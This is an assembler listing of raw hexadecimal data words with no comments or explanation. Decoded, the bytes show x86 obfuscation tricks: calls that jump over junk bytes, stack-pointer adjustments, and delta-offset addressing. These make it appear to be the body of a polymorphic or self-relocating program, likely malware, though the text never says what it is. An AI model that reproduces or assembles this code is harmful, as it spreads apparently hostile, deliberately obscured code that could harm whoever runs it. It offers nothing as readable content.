dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 27C35646h, 42C7652Eh
dd 0F1DDC296h, 0D59D0B72h, 8D060711h, 0A93D58Dh, 6E906h
dd 0F9870000h, 0AD7AB257h, 9D8BD1FFh, 6072F55h, 19BDBD83h
dd 0F010607h, 0A385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 0F6D666ADh, 2D799D8Bh
dd 26A0607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 63C35040h, 642D43DBh, 8BAAF77Fh, 712CDBDh, 0F609006h
dd 1582h, 0FE800h, 16C00000h, 2FFC0262h, 0E01EE3BCh, 0FB4C4AA6h
dd 8B605937h, 506161C3h, 90F88B66h, 28719D8Bh, 95FF0607h
dd 6070791h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0E9C35545h, 0DFDB8F6Eh, 0D20E9h, 0E800h, 815D0000h
dd 0C09FBEDh, 0C1B50906h, 0E9060704h, 0Dh, 6D46C620h, 0D33C4022h
dd 0D8F28597h, 3F858DF9h, 6A060A84h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8783C352h
dd 0C59BD0Bh, 5E90607h, 1B000000h, 537A4070h, 89DDB350h
dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 4B1CECC3h, 0E1314403h, 8ADF7060h, 35FF64FAh
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D3C35141h
dd 0B8BF6657h, 0CE95BFCh, 9E000000h, 0ED479472h, 1345414Ah
dd 64F6EE80h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 8D8969C3h, 6072F69h
dd 2F5985FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 0B7E69EC3h, 31FF6A72h, 72D0D85h
dd 25B5FF06h, 0E906071Eh, 0Fh, 0CBDF347h, 69F59ADh, 97BD349Dh
dd 0FF9511FFh, 72B8995h, 0F8E906h, 8B660000h, 0BF00B0DAh
dd 7C5CA5B9h, 2898D89h, 70E60607h, 9870Fh, 8D0F0000h, 3
dd 0E9E2DF80h, 0Bh, 0D99D5D61h, 0AEF76359h, 0E4D2EE24h
dd 31BD0371h, 3C06071Eh, 0B7830F61h, 8B000000h, 0C8B60FF8h
dd 0BAF88B66h, 6, 2D2D9D8Bh, 85290607h, 6072AC5h, 0DA8BC18Bh
dd 0F504E8C1h, 89E2F766h, 7207195h, 66C82B06h, 0D18BF88Bh
dd 0E99D89h, 7BE90607h, 0F8000000h, 4E49858Bh, 81664400h
dd 83AEA3C7h, 0BD8B07C0h, 6070BF1h, 0E800C083h, 9, 847497Bh
dd 0DE4CBF84h, 4D9D8B00h, 5B060729h, 830FD03Bh, 6, 40E9F9h
dd 8D8B0000h, 0FFFFFFFFh, 0E183F98Bh, 2F840F01h, 0F8000000h
dd 13059D8Bh, 0A5830607h, 0FFFFFFFFh, 0DE9FEh, 82920000h
dd 79D8721Ah, 0EACB4E61h, 8997B771h, 4E4995h, 0FABF0F44h
dd 0E9F9h, 0B58D0000h, 60B8C8Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 7C35545h, 5E2190F6h, 6ADFBF0Fh
dd 6995FF00h, 2906070Dh, 703E18Dh, 1017B906h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 203243C3h, 0AFE7BF66h, 89FCE183h, 729658Dh, 6AFC06h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 4258BEC3h, 0F5063731h, 0B8h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 7A6E1AD6h
dd 0BA9DA771h, 0
dd 29E18D09h, 33AD0607h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 255EC9C3h, 6D9D896Eh, 0D060706h, 88h, 1249BD89h, 958B0607h
dd 6071AD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 64C35747h, 89AFDA73h, 719059Dh, 1D8D8B06h, 89060710h
dd 725E1BDh, 6890F06h, 8B000000h, 713A9BDh, 0C28B5006h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 5043C352h, 50006AECh, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 2D9EE84Bh, 0BD831B11h, 6070E29h
dd 41840F00h, 81000000h, 654CA0F7h, 0B8F572h, 8D000000h
dd 74B9B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 6602B114h, 29D41ABFh, 720919Dh, 0BBE1FF06h
dd 23237F51h, 3305BD83h, 0F000607h, 47C84h, 83F88B00h
dd 73305BDh, 840F0106h, 488h, 5E9h, 0F061C300h, 0FA8A9D18h
dd 3305BD83h, 0F030607h, 43986h, 0E9BD2900h, 60060713h
dd 10A99501h, 8C660607h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 27F937EAh, 5378E964h
dd 0CE9DD62h, 75000000h, 1800B63Ch, 0D129D9CDh, 80704A52h
dd 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 660DF9C3h, 9C0BAB6h, 710459Dh, 0C1BD8906h
dd 0A06072Ah, 41840FC9h, 6A000001h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A966C352h
dd 0BE921h, 2CEF0000h, 25FC003Ah, 0A9422094h, 1D858BE5h
dd 6A06072Ah, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 8608C350h, 0FD8533F9h, 8B06071Ah
dd 9BD8BDEh, 50060711h, 89FE8B66h, 6A2404h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0C837B3C3h
dd 0DB36965Eh, 6A23B7h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 44C35040h, 0B50991E8h, 6070ADDh, 0DDD76768h
dd 0A3ADBF95h, 48172C1h, 412C9824h, 798D896Ah, 0FF060712h
dd 709F995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 9FF97FC6h, 5EE0A6E6h, 0ADDF8589h
dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 664178C3h, 9B50EF81h, 20BE9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0EB8177D5h, 501804C6h, 0ADD7858Bh, 6A060Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 892E23C3h, 0E0A447B5h, 75BD8BACh, 66060711h, 9A33F781h
dd 1800C7h, 0B58B0000h, 60AADDBh, 9F85EB81h, 858B1E94h
dd 6072BCDh, 2F159D09h, 6890607h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 2BC35646h, 596F100Dh, 0E9205129h
dd 0Eh, 5BAA12A9h, 333754FBh, 30AC0C66h, 858BD0A0h, 6072A1Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9CC35141h
dd 815893C7h, 1A263EECh, 446891Eh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 8FC35343h, 0E80AB18Ch, 6, 0D4B05E9Ah
dd 0D88BB6E4h, 0FCBF665Bh, 52509620h, 5B5F5053h, 6A965Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0E9C893C3h, 7, 5760DEACh, 29584BE3h, 70699BDh, 0D7B5FF06h
dd 6A060AADh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0BF91C355h, 0EA87BCB3h, 0D2088555h
dd 1A758D29h, 0F6680607h, 0FC6CC79h, 888h, 2850F00h, 52000000h
dd 2404815Bh, 39528A09h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 4DC35141h, 38202A1Eh, 0B5890179h, 60712C1h
dd 858DF88Bh, 60AADDFh, 0FE9h, 0E7FD9500h, 2DC435FEh, 248539CFh
dd 3BC5B77Fh, 0DA8B5650h, 2404895Bh, 0B85BD8Bh, 95FF0607h
dd 60709F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 66C35141h, 0BD8B5C73h, 6070CD5h, 0D59D8B61h, 0C7060703h
dd 7330585h, 306h, 8B665600h, 0BD835FFEh, 60AADDFh, 6F840F00h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0FD7C355h, 0B8Bh, 5850F00h, 0BB000000h
dd 572DA139h, 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 4370348Ah, 5D28EAF0h
dd 0DE927DEh, 4C000000h, 43F36D51h, 85C4CD45h, 0C9D53FC1h
dd 0EED8589h, 30500607h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 14E8C0h, 0AFBA0000h, 0E14FE3BBh
dd 0B6989116h, 19229C34h, 6993060Dh, 8589D033h, 6070F05h
dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 89818CFFh, 728E18Dh, 5EBB6606h, 5BD835Ah
dd 3060733h, 3C6850Fh, 840F0000h, 2, 0BD83FA8Bh, 60AADDFh
dd 0B1840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 6816C351h, 0DFB5FFD0h
dd 6A060AADh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0DABCC355h, 5F9C3FB2h, 0BB97F28Ah
dd 2808DB1Dh, 212995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0DF7A34C3h, 85016DD6h
dd 607055Dh, 0ADD3B58Bh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8529DFC3h, 6072835h
dd 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 9E35F8C3h, 0B809610h, 8955D81Eh
dd 710D185h, 52505006h, 0BE8310Fh, 50000000h, 45DA41B9h
dd 8C1B2CBEh, 5250729Dh, 585A310Fh, 89585A5Fh, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 4A5A8DC3h, 9D03A848h, 6072A81h, 11E8h, 0C6A98500h, 7E1B964Dh
dd 0B39DFF33h, 0A0ABC89Ah, 8B66FEC5h, 0B5FF5FDEh, 60AADDFh
dd 18FDBD8Bh, 95FF0607h, 6070251h, 2E5D8D89h, 0B58B0607h
dd 60AADD3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0F3C35040h, 9D0BF9B7h, 6070D95h, 12A1858Bh, 6A0607h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 7E875C3h, 0EA000000h, 28516132h, 895B616Ah, 70625BDh
dd 0C4868906h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0AFF5C353h, 8589518Ch, 60712A5h, 21C1BD8Bh
dd 958B0607h, 6071AD9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 45C35545h, 0F7023F78h, 6A04C283h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 1EB3C356h, 0C9CA3FF0h, 0BD8B5521h, 60710CDh, 89205089h
dd 72C2985h, 70858D06h, 60060AC1h, 0FA22BF66h, 8961F48Ah
dd 0B886h, 10CF8100h, 8B00DDB0h, 50006ADAh, 0E1602BBh
dd 0B5FF5B3Ch, 60AADDFh, 79195FFh, 5E90607h, 92000000h
dd 19D7180Ah, 0DC60BB50h, 34891AEBh, 0FFDE8B24h, 0AADDFB5h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 878C6525h, 0FF5ED380h, 72D0995h, 8BCF8106h
dd 834D00BBh, 714C1BDh, 840F0006h, 0Bh, 0B589D5B3h, 6071EB5h
dd 0FF965096h, 0AADDFB5h, 6820F06h, 0B000000h, 7025D9Dh
dd 9595FF06h, 6A06071Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 5FBC352h, 0F5555F6Dh
dd 0ADDFB5FFh, 8D29060Ah, 60700A5h, 2C195FFh, 6A0607h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 3C22D1C3h, 66A21CB5h, 0C65CD381h, 2BFDBD8Bh, 0BD830607h
dd 6072865h, 36840F02h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4C88C352h
dd 942BCAB1h, 199D8BDEh, 8B060728h, 70E6985h, 0C606h, 6F1737BBh
dd 5185C772h, 6072Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 147AC353h, 0D705E53Dh
dd 0E20752FCh, 0FFF420E9h, 52006AFFh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 4819370Ah
dd 23EF63D1h, 0E635EB81h, 0BF0F6F9Bh, 81C18BF9h, 91D2EFC7h
dd 0B1858D4Fh, 6A060718h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 36DDC350h, 711E190h
dd 0BAEAAA3Bh, 6EDF8166h, 810F51E8h, 2, 505B6160h, 2F9E46BFh
dd 2404890Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 8CC35141h, 4EA5F4ABh, 50B57747h, 1DDDBD8Bh, 6A5F0607h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0E83084ABh, 0E983DF0Dh, 8B006A9Dh, 721319Dh
dd 1D858D06h, 0F060C19h, 87h, 5C08300h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BCC35646h, 75231EE4h
dd 0ABC025B0h, 89F88B50h, 0FA8B2404h, 65B7006Ah, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 79A2FFC3h, 81667A6Bh, 0FFC03BCFh, 71E3D95h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 24650D3Eh, 0AE4850DFh, 0D4BBDFD7h, 8D1B75B0h, 0A93D58Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 80D1FF2Dh, 0BD8303DFh, 60719BDh, 0A1850F01h
dd 6A000000h, 8D896002h, 6072D11h, 2870Fh, 59560000h, 9E99061h
dd 78000000h, 15F750F4h, 0A8BC46E7h, 14E850h, 4E6F0000h
dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h, 0BB664182h
dd 905F461Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0A1C35141h, 0BD8BAC22h, 6071519h, 6890Fh, 0B5890000h
dd 6073329h, 79195FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0E8C79BC3h, 5DBD8B3Ah
dd 6606070Bh, 0A507C381h, 0BD3E9h, 0E800h, 815D0000h, 0C1927EDh
dd 7E806h, 228D0000h, 9C91D2A0h, 0E78166E9h, 0E95B568Ah
dd 0Bh, 0A86408A7h, 59090C59h, 8D7196B3h, 0A843F85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0F8B604DBh, 0D83EC648h, 0E850F8F5h, 9, 9EA2824Ah, 399209E7h
dd 0DA8B66E2h, 2404895Fh, 0EFB36057h, 0FF645B61h, 35h
dd 25896400h, 0
dd 89FEBF0Fh, 7059985h, 5985FF06h, 0B306072Fh, 66FF6A1Fh
dd 0B5FFD98Bh, 6070A21h, 2C618589h, 0BB660607h, 95FFB4BEh
dd 6072B89h, 135E9h, 0D8B70F00h, 70E600B0h, 14E9h, 0E885F500h
dd 89A0BF08h, 1B5B0AE7h, 30B9B18Dh, 0C8FC75F7h, 0E871E4EDh
dd 0Dh, 0E2820ABCh, 8E3D5F85h, 0C1D82A26h, 57EF8094h, 0F613C5Bh
dd 0F583h, 6820F00h, 29000000h, 726619Dh, 0C8B60F06h, 0BADA8B66h
dd 6, 5630BB66h, 25B7C18Bh, 0F04E8C1h, 583h, 0F3C1BB00h
dd 8D8961D8h, 6070085h, 0BBE2F766h, 2649F919h, 880FC82Bh
dd 6, 2FF9BD8Bh, 0D18B0607h, 2D35BD8Bh, 0D7810607h, 65DEB335h
dd 99E9h, 0D59D8B00h, 8B060721h, 5F4C4C85h, 0D7816650h
dd 0C083B35Ah, 61BD8B07h, 8306070Dh, 0EB8100C0h, 175D7B43h
dd 830FD03Bh, 0Dh, 67E9FE8Bh, 89000000h, 7058995h, 0FF8D8B06h
dd 0E8FFFFFFh, 10h, 55E1EC52h, 97E517CAh, 2DFAEDB7h, 9C7F83B5h
dd 7E9h, 26062600h, 54223952h, 1E1835Fh, 30840Fh, 0B5890000h
dd 6070ED9h, 0FFFFA583h, 0E8FEFFFFh, 0Ah, 499BB94Ah, 30ED25A7h
dd 0B70F769Bh, 95895FD8h, 505F4C4Ch, 0EDDDC7BBh, 0E953h
dd 0B58D0000h, 60B9CA5h, 7E9h, 5A703500h, 0FAD0B85Fh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0D9AB5FC3h, 0DB3C086Fh, 80736F4Ah, 95FFBAC7h, 6070D69h
dd 6DB9DA8Bh, 0BB00000Eh, 9D3F084h, 0FCFCE183h, 2E5D8D89h
dd 0C02B0607h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0DFC35242h, 1EB576F0h, 0FB8BFB8Bh, 2BFA8B66h, 8DB589D2h
dd 0AD060704h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 21FFC355h, 0C3802833h, 8E888h, 58C0000h, 0EC4E88E8h
dd 0FE8A1FBDh, 0FB8B665Bh, 0B4EF8166h, 880DDFh, 8E90000h
dd 0C000000h, 0FFA3929Bh, 8B4B4D8Dh, 71AD995h, 3D853106h
dd 8B060710h, 7101D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 8A5C64ACh, 0C28B50DAh
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8158188Bh, 67B7ED7h
dd 68E0F4Eh, 29000000h, 718F59Dh, 29BD8306h, 6070Eh, 3F840Fh
dd 0BD230000h, 6072B25h, 0B8h, 4DFBBF00h, 8D8D5131h, 6074B9Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0EDC35040h
dd 60D337F4h, 9E1FF32h, 72251BDh, 5BD8306h, 60733h, 3D1840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 7DB994C3h, 3305BD83h, 0F010607h, 3C184h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0FE8B6667h, 3305BD83h, 0F030607h, 35F86h
dd 60CEB700h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0E743C355h, 0C8EEFA94h
dd 12E960BFh, 12000000h, 4C4C35F6h, 0B9D2D8D5h, 4E6AD53h
dd 0F74CE53h, 4E180D0h, 51BD8BF5h, 0A06070Ch, 34840FC9h
dd 8B000001h, 72A1D85h, 9E806h, 3FD30000h, 0ECE105B7h
dd 5B0B099Eh, 1AFD8533h, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 816646C3h, 50F41EF3h
dd 89FE8B66h, 6A2404h, 14E99D8Bh, 4E80607h, 0FF000000h
dd 60001F03h, 5061F9B7h, 38D0Fh, 8B660000h, 24448BF9h
dd 14E904h, 0F3860000h, 9B2C3EB2h, 57E11EF2h, 0C80E45EAh
dd 5C5D065Fh, 8B15D2h, 11E9h, 628F7F00h, 0E90A2D41h, 0D5AC1F96h
dd 0B8ACD438h, 4489C317h, 8B660424h, 6A58F8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 514CA8C3h
dd 943F36Dh, 732F59Dh, 0F995FF06h, 6A060709h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 807AC356h, 9D892C0Fh, 6073125h, 11E953h, 7B1E0000h
dd 63D6ED1Bh, 1F3AB5CAh, 921951E0h, 5B0E8429h, 0ADDF8589h
dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0E7C6F3C3h, 16FE9h, 8BD3B300h, 0AADD785h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 81666070h, 891EA1D2h, 70D1995h, 0BD236106h
dd 60728D9h, 25E9BD8Bh, 0C70607h, 18h, 0BE86BF66h, 0ADDBB58Bh
dd 0F98A060Ah, 2BCD858Bh, 89F50607h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 858B8740h
dd 6072A1Dh, 19099589h, 46890607h, 6890F04h, 8B000000h
dd 718619Dh, 0FA8B9606h, 0D1B56050h, 0BE9h, 0DE0E4300h
dd 0B88C6892h, 7EE41C77h, 0AE89661h, 0D7000000h, 2C70779Ch
dd 68FE5045h, 3DBD2908h, 5B060729h, 0ADD7B5FFh, 6A060Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 6A6840C3h, 5C0F3021h, 168BEE4h, 0F62EB1Dh, 88Ah, 2800F00h
dd 8B000000h, 243481D8h, 62F41EFEh, 858DF98Bh, 60AADDFh
dd 0F50E7B7h, 88h, 24048900h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 4DC35040h, 0F5BBC520h, 0FF3F0805h
dd 709F995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0C25BF3E5h, 217D8D89h, 5E90607h
dd 64000000h, 53FFC980h, 85C7F561h, 6073305h, 3, 11E9h
dd 11019900h, 0BEA64C27h, 27187A0Fh, 74FA5A1Dh, 0CE9BA9Bh
dd 0DB000000h, 0C0F71507h, 0FDBB11CDh, 834DA6BDh, 0AADDFBDh
dd 840F0006h, 2Ch, 41E9F8h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 9BD561C3h
dd 0BD8B93E5h, 60705A5h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0E8C4C355h, 0Bh, 0C8D1DFEBh
dd 50369DA8h, 0BFB17D99h, 74AC9832h, 12E9525Bh, 0B8000000h
dd 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h, 0BD835B96h
dd 6073305h, 0E6850F03h, 6A000003h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 5E4DC350h
dd 83DF8BC1h, 0AADDFBDh, 840F0006h, 3B9h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 19h, 6AC35646h, 0CF2C7206h
dd 0CD95296Eh, 0FF06071Eh, 0AADDFB5h, 1854BF06h, 95FF46BCh
dd 6072129h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 39C35545h, 6B970992h, 8BF98B66h, 0AADD3B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0D8C67AA5h, 8964746Dh, 70FCDBDh, 106C706h, 6A000100h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0B3F8C355h, 98E38166h, 0E9605055h, 13h, 6009254Bh
dd 2A2811C8h, 2926DF8Ah, 761405D0h, 0E8940421h, 0Ah, 0ACC6D6F6h
dd 54464F12h, 8E0F1750h, 0
aAi4J db '[a┴4$j',0
db 57h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0C232C59Ch, 302DBD89h, 0BD8B0607h, 6070FD5h, 0B5FFF6B7h
dd 60AADDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 2AC35747h, 3E12D58Eh, 29FD9D29h, 95FF0607h, 6070251h
dd 0B58B21B3h, 60AADD3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 23C35545h, 0A43B69CBh, 81663714h, 8B895CCFh
dd 712A185h, 0C4868906h, 31000000h, 71B6585h, 0D9958B06h
dd 6A06071Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 6688C351h, 41A81C9Bh, 4C2833Bh
dd 0EC78166h, 20508989h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 24C35545h, 0EAF838E9h, 8B1DB2E0h, 70725BDh
dd 0F7816606h, 858D7C3Ah, 60AC170h, 2D1DBD89h, 86890607h
dd 0B8h, 33DBB66h, 0BD8B006Ah, 6071A05h, 0ADDFB5FFh, 0D781060Ah
dd 2370F7E0h, 79195FFh, 0BD8B0607h, 6070A81h, 0EFEDBB50h
dd 34891A94h, 10E824h, 0B1D60000h, 950667ACh, 5F5851B1h
dd 0C0553716h, 9D8B1BFBh, 6070871h, 0DFB5FF5Fh, 81060AADh
dd 2D50B5CBh, 995FF32h, 6A06072Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0F59EC352h
dd 8BF1509Eh, 0C1BD83FBh, 60714h, 26840Fh, 85090000h, 6070D5Dh
dd 11E950h, 2210000h, 8BC744F9h, 43798A74h, 6E0E130Bh
dd 894DC7E6h, 0BD232434h, 60703B1h, 0ADDFB5FFh, 6A060Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 86BCA4C3h, 0FE2A092h, 95FFDBB7h, 6071F95h, 0B5FFF88Bh
dd 60AADDFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 3BC35747h, 95FF8373h, 60702C1h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EFC35343h, 0ECDA1E3Dh
dd 8BA27FA9h, 732A5BDh, 65BD8306h, 2060728h, 61840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 6F0E22C3h, 21B58937h, 8B060720h, 70E6985h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0F57A188h, 68Bh, 6D8D8900h, 5F06071Eh, 520000C6h, 598D895Bh
dd 0C7060722h, 72A5185h, 6, 0DE95200h, 0E000000h, 666E8EF5h
dd 0DED94891h, 9E585ACBh, 0F4CFE95Fh, 0BD31FFFFh, 6070345h
dd 0B589C18Bh, 6070F8Dh, 18B1858Dh, 6A0607h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 67BE4EC3h
dd 0AA3E88B8h, 0F90A19Fh, 484h, 0F88B5300h, 0BF66505Fh
dd 6A908DE9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 0BB87C353h, 0C0868A5Bh, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 9ECE5DC3h, 0BF75A0BBh, 6A85B7h, 858D54B3h, 60C2733h
dd 5C083F9h, 91BD03h, 0E9500607h, 0Dh, 428156h, 50017634h
dd 4440DABAh, 2404899Ch, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 91C35040h, 0E9607675h, 0Ch, 3F7E6F5Fh
dd 300156C8h, 6B78D1AFh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 0BBCD72C3h, 0BF3250C9h
